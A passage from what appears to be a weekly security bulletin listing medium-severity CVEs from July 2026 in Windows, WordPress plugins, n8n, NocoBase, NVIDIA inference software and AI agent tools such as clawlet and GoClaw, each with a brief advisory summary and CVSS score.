| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Overlay Filter allows an authorized attacker to disclose information locally.                                        | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50409</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Push Notifications allows an authorized attacker to disclose information locally.                                    | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50430</a> |
| Microsoft--Windows 10 Version 1607 | Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability                                                                                                     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50431</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Virtual Filtering Platform (VFP) allows an authorized attacker to deny service over a network.                                                                   | 2026-07-14 | 5.3        | <a href="#">CVE-2026-50432</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to disclose information locally.                                                                              | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50437</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50442</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Universal Plug and Play (upnp.dll) allows an authorized attacker to disclose information locally.                                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50455</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50456</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50473</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows Kernel allows an authorized attacker to disclose information locally.                                                                                          | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50475</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Cryptographic Services allows an authorized attacker to disclose information locally.                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50681</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows SMB allows an authorized attacker to disclose information locally.                                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50690</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows SMB allows an authorized attacker to disclose information locally.                                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-54997</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Network File System allows an unauthorized attacker to execute code over a network. | 2026-07-14 | 5.9        | <a href="#">CVE-2026-56649</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Microsoft Windows Codecs Library allows an unauthorized attacker to disclose information locally.                                                                     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-57083</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows File Explorer allows an unauthorized attacker to disclose information locally.                                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-57084</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Print Spooler Components allows an authorized attacker to disclose information locally.                                                                                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-57085</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Kernel allows an authorized attacker to bypass a security feature locally.                                                                                          | 2026-07-14 | 5.5        | <a href="#">CVE-2026-58545</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Kernel allows an authorized attacker to bypass a security feature locally.                                                                                               | 2026-07-14 | 5.5        | <a href="#">CVE-2026-58614</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows USB Audio Class driver (usbaudio.sys) allows an unauthorized attacker to disclose information with a physical attack.                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-49794</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 4.7        | <a href="#">CVE-2026-50312</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows Hyper-V allows an authorized attacker to deny service over an adjacent network.                                                                                            | 2026-07-14 | 4.5        | <a href="#">CVE-2026-50485</a> |
| Microsoft--Windows 10 Version 1607 | Improper neutralization of input during web page generation ('cross-site scripting') in Active Directory Federation Services (AD FS) allows an authorized attacker to perform spoofing over a network. | 2026-07-14 | 4.8        | <a href="#">CVE-2026-50684</a> |
| Microsoft--Windows 10 Version 1809 | Protection mechanism failure in Windows Event Logging Service allows an authorized attacker to disclose information over a network.                                                                    | 2026-07-14 | 6.5        | <a href="#">CVE-2026-34348</a> |
| Microsoft--Windows 10 Version 1809 | Missing authentication for critical function in Microsoft Windows DNS allows an authorized attacker to perform tampering locally.                                                                      | 2026-07-14 | 6.1        | <a href="#">CVE-2026-49174</a> |
| Microsoft--Windows 10 Version 1809 | Exposure of sensitive information to an unauthorized actor in Windows DirectX allows an unauthorized attacker to disclose information locally.                                                         | 2026-07-14 | 6.2        | <a href="#">CVE-2026-49807</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges with a physical attack.                                                                   | 2026-07-14 | 6.3        | <a href="#">CVE-2026-50374</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows DirectX allows an authorized attacker to elevate privileges locally.                                                                                             | 2026-07-14 | 6.3        | <a href="#">CVE-2026-50375</a> |
| Microsoft--Windows 10 Version 1809 | Buffer over-read in Windows Print Spooler Components allows an authorized attacker to disclose information locally.                                                                                    | 2026-07-14 | 6.1        | <a href="#">CVE-2026-50383</a> |
| Microsoft--Windows 10 Version 1809 | Improper access control in Microsoft Windows DNS allows an authorized attacker to perform tampering locally.                                                                                           | 2026-07-14 | 6.1        | <a href="#">CVE-2026-50495</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1809 | Out-of-bounds read in Windows USB Audio Class driver (usbaudio.sys) allows an unauthorized attacker to disclose information with a physical attack.                   | 2026-07-14 | 6.8        | <a href="#">CVE-2026-58528</a> |
| Microsoft--Windows 10 Version 1809 | Missing cryptographic step in Windows Boot Loader allows an authorized attacker to bypass a security feature locally.                                                 | 2026-07-14 | 6          | <a href="#">CVE-2026-58638</a> |
| Microsoft--Windows 10 Version 1809 | Exposure of sensitive information to an unauthorized actor in Windows Audio Service allows an authorized attacker to disclose information locally.                    | 2026-07-14 | 5.5        | <a href="#">CVE-2026-34328</a> |
| Microsoft--Windows 10 Version 1809 | Exposure of sensitive information to an unauthorized actor in Windows Media allows an authorized attacker to disclose information locally.                            | 2026-07-14 | 5.5        | <a href="#">CVE-2026-34349</a> |
| Microsoft--Windows 10 Version 1809 | Use of a cryptographic primitive with a risky implementation in Windows Key Guard allows an authorized attacker to bypass a security feature locally.                 | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50303</a> |
| Microsoft--Windows 10 Version 1809 | Exposure of sensitive information to an unauthorized actor in Windows Push Notifications allows an authorized attacker to disclose information locally.               | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50339</a> |
| Microsoft--Windows 10 Version 1809 | Out-of-bounds read in Windows Cloud Files Mini Filter Driver allows an authorized attacker to disclose information locally.                                           | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50401</a> |
| Microsoft--Windows 10 Version 1809 | Exposure of sensitive information to an unauthorized actor in Windows Media allows an unauthorized attacker to disclose information over a network.                   | 2026-07-14 | 5.3        | <a href="#">CVE-2026-50415</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Universal Plug and Play (upnp.dll) allows an authorized attacker to elevate privileges locally.                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-58547</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                         | 2026-07-14 | 4.7        | <a href="#">CVE-2026-49167</a> |
| Microsoft--Windows 10 Version 1809 | Integer overflow or wraparound in Windows Devices Human Interface allows an authorized attacker to disclose information locally.                                      | 2026-07-14 | 4.7        | <a href="#">CVE-2026-50310</a> |
| Microsoft--Windows 10 Version 21H2 | Null pointer dereference in Windows SMB Server allows an authorized attacker to deny service over a network.                                                          | 2026-07-14 | 6.5        | <a href="#">CVE-2026-56168</a> |
| Microsoft--Windows 10 Version 21H2 | Insertion of sensitive information into log file in Windows Kernel allows an authorized attacker to disclose information locally.                                     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50316</a> |
| Microsoft--Windows 10 Version 21H2 | Exposure of sensitive information to an unauthorized actor in Windows Trusted Runtime Interface Driver allows an authorized attacker to disclose information locally. | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50350</a> |
| Microsoft--Windows 10 Version 21H2 | Access of resource using incompatible type ('type confusion') in Composite Image File System Driver allows an authorized attacker to disclose information locally.    | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50381</a> |
| Microsoft--Windows 10 Version 21H2 | Exposure of sensitive information to an unauthorized actor in Windows Push Notifications allows an authorized attacker to disclose information locally.               | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50434</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 21H2            | Exposure of sensitive information to an unauthorized actor in Windows Win32K allows an authorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 5.5        | <a href="#">CVE-2026-56184</a> |
| Microsoft--Windows 10 Version 21H2            | Improper certificate validation in Windows Cryptographic Services allows an unauthorized attacker to bypass a security feature over a network.                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 4.2        | <a href="#">CVE-2026-50302</a> |
| Microsoft--Windows 11 Version 24H2            | Out-of-bounds read in Windows HTTP.sys allows an unauthorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-50420</a> |
| Microsoft--Windows 11 Version 24H2            | Use after free in Windows USB Print Driver allows an unauthorized attacker to elevate privileges with a physical attack.                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 6.4        | <a href="#">CVE-2026-55000</a> |
| Microsoft--Windows 11 Version 24H2            | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges with a physical attack.                                                                                                                                                                                                                                                   | 2026-07-14 | 6.3        | <a href="#">CVE-2026-58543</a> |
| Microsoft--Windows 11 Version 24H2            | Improper privilege management in Microsoft Windows DNS allows an authorized attacker to bypass a security feature locally.                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50295</a> |
| Microsoft--Windows 11 Version 24H2            | Improper access control in Windows System allows an unauthorized attacker to bypass a security feature locally.                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 5.1        | <a href="#">CVE-2026-50418</a> |
| Microsoft--Windows 11 Version 24H2            | Exposure of sensitive information to an unauthorized actor in Microsoft Graphics Component allows an authorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                             | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50483</a> |
| Microsoft--Windows Admin Center               | Improper authentication in Windows Admin Center allows an authorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 6.5        | <a href="#">CVE-2026-56185</a> |
| Microsoft--Windows Admin Center               | Improper neutralization of input during web page generation ('cross-site scripting') in Windows Admin Center allows an unauthorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                      | 2026-07-16 | 6.1        | <a href="#">CVE-2026-58643</a> |
| Microsoft--Windows Subsystem for Linux (WSL2) | Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to perform tampering locally.                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 6.3        | <a href="#">CVE-2026-57973</a> |
| mosaxiv--clawlet                              | A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. The affected element is the function guardExecCommand of the file tools/tool_exec.go of the component exec Safety Guard. The manipulation results in protection mechanism failure. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned".     | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15618</a> |
| mosaxiv--clawlet                              | A weakness has been identified in mosaxiv clawlet up to 0.2.10. The impacted element is the function web_fetch of the file tools/tool_web_fetch.go of the component IPv4 Handler. This manipulation of the argument url causes server-side request forgery. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The reported GitHub issue was closed with the label "not planned". | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15619</a> |
| mosaxiv--clawlet                              | A security vulnerability has been detected in mosaxiv clawlet up to 0.2.10. This affects the function tools.webFetch of the file tools/tool_web_fetch.go. Such manipulation leads to server-side request forgery. The attack can be launched                                                                                                                                                                                                          | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15620</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                              | remotely. The exploit has been disclosed publicly and may be used. The reported GitHub issue was closed with the label "not planned".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| mosaxiv--clawlet                                             | A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. Impacted is the function list/remove of the file tools/tool_cron.go of the component cron Chat Tool. The manipulation results in missing authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned".                                                                                                                                                                                                                                     | 2026-07-17 | 6.3        | <a href="#">CVE-2026-16017</a> |
| mosaxiv--clawlet                                             | A vulnerability was detected in mosaxiv clawlet up to 0.2.10. This impacts the function read_file/write_file/edit_file of the file tools/fs_ops.go of the component File Tools. Performing a manipulation results in link following. The attack needs to be approached locally. The reported GitHub issue was closed with the label "not planned".                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 5.3        | <a href="#">CVE-2026-15621</a> |
| mwtcmi--frogman                                              | Frogman provides headless PBX control through MCP and HTTP API. Prior to 1.6.2, fm_reset_password in Tools/ResetPassword.php:48-53 returned a plaintext password and fm_add_extension in Tools/AddExtension.php:172 returned a plaintext secret; Frogman.class.php:2207-2211 used auditOutcome to JSON-encode those responses into oc_audit_log.detail, allowing any PERM_READ caller with access to fm_audit_search to recover the stored credentials. This issue is fixed in version 1.6.2.                                                                                                                                                         | 2026-07-16 | 6.5        | <a href="#">CVE-2026-46514</a> |
| mxchat--MxChat AI Chatbot & Content Generation for WordPress | The MxChat - AI Chatbot & Content Generation for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                              | 2026-07-16 | 4.4        | <a href="#">CVE-2026-13005</a> |
| n8n--n8n                                                     | n8n before 2.19.3 contains a file path restriction bypass in the legacy ExecuteWorkflow node's localFile source option, which reads workflow files from disk without the file-access checks enforced by other file-reading nodes. Although hidden from the UI since v1.2, it remains reachable via the REST API. An authenticated user with permission to create or modify workflows can supply an arbitrary file path to bypass the N8N_RESTRICT_FILE_ACCESS_TO restriction and determine whether arbitrary files exist on the host; where the targeted path contains a valid workflow JSON file, that file can additionally be loaded and executed. | 2026-07-15 | 6.4        | <a href="#">CVE-2026-56352</a> |
| n8n--n8n                                                     | n8n contains an authentication bypass in the Chat Trigger node when configured with n8n User Auth (a non-default configuration). In affected releases - before 1.123.22, the 2.0.0 through 2.9.2 line, and 2.10.0 - the authentication check on the Chat Trigger webhook endpoint can be circumvented, allowing access without valid credentials. Fixed in 1.123.22, 2.9.3, and 2.10.1.                                                                                                                                                                                                                                                               | 2026-07-15 | 4.8        | <a href="#">CVE-2026-56353</a> |
| ncalc--ncalc                                                 | NCalc is a fast, lightweight expression evaluator for .NET. Prior to 6.1.1, the factorial operator implementation in src/NCalc.Core/Helpers/MathHelper.cs permits specially crafted expressions with extremely large factorial operands, causing excessive CPU consumption or a non-terminating loop due to integer overflow in the factorial calculation logic when applications evaluate untrusted expressions. This issue is fixed in version 6.1.1.                                                                                                                                                                                               | 2026-07-17 | 4.8        | <a href="#">CVE-2026-55254</a> |
| nearai--ironclaw                                             | A vulnerability was identified in nearai ironclaw up to 0.29.1. The affected element is the function validate_path of the file src/tools/builtin/path_utils.rs of the component write_file. The manipulation leads to link following. Local access is required to approach this attack. The exploit is publicly available and might be used. The identifier of the patch is 369ff3d240cf3c0787b50e1e9f182e1a06c71255. It is recommended to apply a patch to fix this issue.                                                                                                                                                                           | 2026-07-18 | 4.4        | <a href="#">CVE-2026-16130</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Netrr--Author Box WP Lens  | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Netrr Author Box WP Lens author-box-for-divi allows Stored XSS.This issue affects Author Box WP Lens: from n/a through <= 2.1.5.                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57420</a> |
| nextendweb--Smart Slider 3 | The Smart Slider 3 plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.5.1.37 via the 'keyword' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to extract titles and full content excerpts of private, draft, pending, trashed, and auto-draft posts authored by any user, including Administrators and Editors. The required nonce is emitted on /wp-admin/post-new.php, which is accessible to Contributor-level users via the edit_posts capability, meaning any Contributor can obtain the nonce needed to trigger the injection. | 2026-07-13 | 4.3        | <a href="#">CVE-2026-12385</a> |
| nextlevelbuilder--GoClaw   | A vulnerability has been found in nextlevelbuilder GoClaw 3.13.3-beta.3. Affected by this vulnerability is the function bytePlusDownloadVideo of the file internal/tools/create_video_byteplus.go of the component invoke Endpoint. The manipulation of the argument output.video_url leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.                                                                                                                                                                                                                | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15624</a> |
| nextlevelbuilder--GoClaw   | A vulnerability was found in nextlevelbuilder GoClaw 3.11.3. Affected by this issue is the function ExecApprovalManager.CheckCommand of the file internal/tools/exec_approval.go. The manipulation results in incomplete blacklist. The attack can be executed remotely. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15625</a> |
| nextlevelbuilder--GoClaw   | A vulnerability was determined in nextlevelbuilder GoClaw 3.13.3-beta.3. This affects the function writeFile of the file internal/providers/acp/tool_bridge.go of the component ACP ToolBridge Workspace Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                              | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15626</a> |
| nextlevelbuilder--GoClaw   | A vulnerability was found in nextlevelbuilder GoClaw up to 3.13.2. This affects the function RequestApproval of the file internal/tools/exec_approval.go of the component WebSocket Approval Endpoint. Performing a manipulation results in incorrect authorization. The attack is possible to be carried out remotely. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                             | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16119</a> |
| nextlevelbuilder--GoClaw   | A vulnerability was determined in nextlevelbuilder GoClaw up to 3.13.3-beta.3. This impacts the function matchesAllowlist/extractBin of the file internal/tools/exec_approval.go. Executing a manipulation can lead to incorrectly-resolved name. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                 | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16120</a> |
| nextlevelbuilder--GoClaw   | A vulnerability was identified in nextlevelbuilder GoClaw up to 3.13.2. Affected is the function isSafeBin of the file internal/tools/exec_approval.go. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                                                                                                                                                          | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16121</a> |
| nextlevelbuilder--GoClaw   | A weakness has been identified in nextlevelbuilder GoClaw up to 3.13.2. Affected by this issue is the function ToolsInvokeHandler.ServeHTTP of the file internal/http/tools_invoke.go of the component Invoke Endpoint. This manipulation causes missing authorization. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                                                          | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16123</a> |
| nextlevelbuilder--GoClaw   | A security vulnerability has been detected in nextlevelbuilder GoClaw up to 3.15.0-beta.32. This affects the function CheckSSRF/isPrivateIP of the file internal/tools/web_shared.go of the component web_fetch. Such manipulation leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 3.15.0-beta.33 is able to mitigate this issue. The name of the patch is                                                                                                                                                                                     | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16124</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                        | 12a0168271827650ddb0026d6277fbadf3dcf3ea. Upgrading the affected component is recommended.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| nextlevelbuilder--GoClaw               | A flaw has been found in nextlevelbuilder GoClaw up to 3.13.3-beta.3. This affects the function ExecTool.Execute of the file gocl原因/internal/tools/credentialed_exec.go. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has been published and may be used.                                                                                                                                                                                                                                                                         | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16199</a> |
| nextlevelbuilder--GoClaw               | A vulnerability was identified in nextlevelbuilder GoClaw up to 3.13.3-beta.3. This vulnerability affects the function handleNavigate of the file pkg/browser/tool.go. Such manipulation of the argument args.targetUrl leads to information disclosure. The attack may be performed from remote. The exploit is publicly available and might be used.                                                                                                                                                                                                                                             | 2026-07-14 | 4.3        | <a href="#">CVE-2026-15627</a> |
| nextlevelbuilder--GoClaw               | A security flaw has been discovered in nextlevelbuilder GoClaw up to 3.13.2. Affected by this vulnerability is the function extractBin/RequestApproval/matchesAllowlist of the file internal/tools/exec_approval.go. The manipulation results in incorrect authorization. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                 | 2026-07-18 | 4.3        | <a href="#">CVE-2026-16122</a> |
| nocobase--nocobase                     | NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utills.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46. | 2026-07-15 | 6.8        | <a href="#">CVE-2026-52888</a> |
| nocobase--nocobase                     | NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19.                                                                                                      | 2026-07-15 | 6.7        | <a href="#">CVE-2026-55410</a> |
| NSquared--Simply Schedule Appointments | Missing Authorization vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.12.4.                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57812</a> |
| NSquared--Simply Schedule Appointments | Missing Authorization vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.11.11.                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.5        | <a href="#">CVE-2026-59523</a> |
| NVIDIA--TensorRT                       | NVIDIA TensorRT for contains a vulnerability where a user might cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution.                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 5.3        | <a href="#">CVE-2026-24227</a> |
| NVIDIA--TensorRT-LLM                   | NVIDIA TensorRT-LLM for any platform contains a vulnerability in visual gen server, where an attacker could cause an unsafe deserialization by unauthorized zeroMQ deserialization. A successful exploit of this vulnerability might lead to code execution.                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 6.4        | <a href="#">CVE-2026-24220</a> |
| NVIDIA--TensorRT-LLM                   | NVIDIA TensorRT-LLM for Linux contains a vulnerability where an attacker could cause improper control of code generation. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 6.3        | <a href="#">CVE-2026-24226</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| NVIDIA--TensorRT-LLM               | NVIDIA TensorRT-LLM for Linux contains a vulnerability in the multimodal media fetching functions, where a network-accessible attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to denial of service and information disclosure.                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 6.8        | <a href="#">CVE-2026-24234</a> |
| NVIDIA--TensorRT-LLM               | NVIDIA TensorRT-LLM for Linux contains a vulnerability where an attacker could cause missing authentication for a critical function. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 6.4        | <a href="#">CVE-2026-24259</a> |
| NVIDIA--TensorRT-LLM               | NVIDIA TensorRT-LLM contains a vulnerability in the OpenAI-compatible inference API, where an attacker could cause allocation of GPU resources without limits or throttling. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-24271</a> |
| NVIDIA--TensorRT-LLM               | NVIDIA TensorRT-LLM for any platform contains a vulnerability in the gRPC server chat API endpoint, where an attacker could cause CWE-20 by local attack. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 6.2        | <a href="#">CVE-2026-47470</a> |
| NVIDIA--TensorRT-LLM               | NVIDIA TensorRT-LLM contains a vulnerability in the OpenAI-compatible inference API where an attacker could trigger a reachable assertion in the sampler thread. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 6.2        | <a href="#">CVE-2026-47475</a> |
| NVIDIA--Triton Inference Server    | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause an authentication bypass through an alternative path or channel. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 6.5        | <a href="#">CVE-2026-47481</a> |
| open-telemetry--opentelemetry-rust | OpenTelemetry Rust is the Rust OpenTelemetry implementation. In 0.32.0 and earlier, BaggagePropagator::extract_with_context in opentelemetry_sdk did not enforce W3C Baggage size limits before parsing an inbound baggage header, so a large attacker-controlled header could cause unnecessary CPU work and short-lived heap allocations while parsing entries later discarded by the SDK's baggage storage limits. Services that accept untrusted inbound propagation headers may experience increased per-request resource usage when processing oversized baggage headers. This issue is fixed in version 0.32.1. | 2026-07-17 | 5.3        | <a href="#">CVE-2026-48504</a> |
